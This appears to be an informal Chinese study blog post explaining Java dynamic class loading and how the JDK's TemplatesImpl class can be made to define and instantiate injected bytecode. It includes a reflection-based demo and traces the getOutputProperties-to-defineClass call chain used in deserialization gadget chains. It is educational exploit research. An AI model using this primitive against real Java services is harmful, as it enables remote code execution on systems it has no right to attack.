动态字节码加载
虽然已经学过了,不过忘完了,nice,重学
动态加载就是很动态知道吧,你以为,说了等于没说,怎么个动态法呢?
具体是在于三个函数
不管是远程加载class文件,还是本地加载class或是jar文件,Java中经历的都是下面这三个方法的调用过程:
loadClass()->findClass()->defineClass()
loadClass()从已经加载的类缓存、父加载器等位置寻找类(其实就是双亲委派机制),在前面没有找到的情况下执行findClass
findClass()根据基础URL指定的方法来加载类的字节码,可能会在本地文件系统,jar包,或是远程http服务器上读取字节码,然后交给下一个函数
defineClass()
defineClass()的作用就是处理前面传入的字节码,将其处理为真正的Java类。
你看看,不久动态起来了吗。会根据不同的情况继续不同类型的加载
但是最关键的部分还得是ClassLoader#defineClass(),因为无论什么时候,它都是可以的
利用TemplatesImpl加载字节码
cc链中,如果要加载动态字节码,这个类是必不可少的一个类,我们来看看怎么个事
恶意类
首先我们需要一个恶意的字节码
package cc2;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class LoadTestTemp {
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("cc2.TestTemplatesImpl");
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_name", "seizer");
// 注意:getTransletInstance方法是私有的,通常不应该直接调用。
Method defineTransletClasses = TemplatesImpl.class.getDeclaredMethod("getTransletInstance");
//Method defineTransletClasses = TemplatesImpl.class.getDeclaredMethod("newTransformer");
//Method defineTransletClasses = TemplatesImpl.class.getDeclaredMethod("getOutputProperties");
defineTransletClasses.setAccessible(true);
defineTransletClasses.invoke(templates);
}
public static void setFieldValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
简单分析过程
倒着分析最简单了,我们来倒着分析好吧
前面都说了最牛逼的加载器是谁?
没错,哥们,你猜对了,就是我们的defineClass
全局搜索一下发现了它
看到了吧,我靠看看谁调用了它
一共三个方法,我们一个一个看看
算了别看了,我告诉你答案,免得你上头好吧
就是我们的getTransletInstance()
因为你如果选择其他的,根本找不到谁可以去调用它
来到我们的newTransformer
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
直接完美结束,只要调用了它,不仅可以实例化我们的Tem这个类,还是个public方法,当然还可以再跟踪一层
getOutputProperties()也是一样的
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
着就是大概的路线
TemplatesImpl#getOutputProperties->TemplatesImpl#newTransformer->TemplatesImpl#getTransletInstance->TemplatesImpl#defineTransletClasses->TransletClassLoader#defineClass
TemplatesImpl#newTransformer->TemplatesImpl#getTransletInstance->TemplatesImpl#defineTransletClasses->TransletClassLoader#defineClass
细节调试分析
这里细节主要说一下各个参数为什么这样赋值
当我们来到
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
发现如果if (_name == null) return null;成立就直接return了,所以我们的name不能为null
需要给我们的name赋值
然后就是来到我们的defineTransletClasses
加载我们的动态字节码
然后又回到getTransletInstance的AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
直接实例化我们刚刚加载的类
但是还是没有分析到为什么需要
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
我们删掉这行代码试一试,发现
Caused by: java.lang.NullPointerException
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$1.run(TemplatesImpl.java:401)
报了一个空指针异常
我们看看这个run方法
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
它调用了_tfactory的getExternalExtensionsMap()方法,而我们的_tfactory
private transient TransformerFactoryImpl _tfactory = null;
是null,null里面怎么会有方法,所以我们需要为它赋值,让它里面有这个方法
TransformerFactoryImpl()里面正好有
所以结束啦
好累写了一天。。。。。。
完结撒花环节
参考https://www.cnblogs.com/seizer/p/17064102.html
https://xz.aliyun.com/t/12544?time__1311=mqmhD50KBKYIoxBqDTjgDuGoBekbnYD&alichlgref=https%3A%2F%2Fwww.google.com.hk%2F#toc-11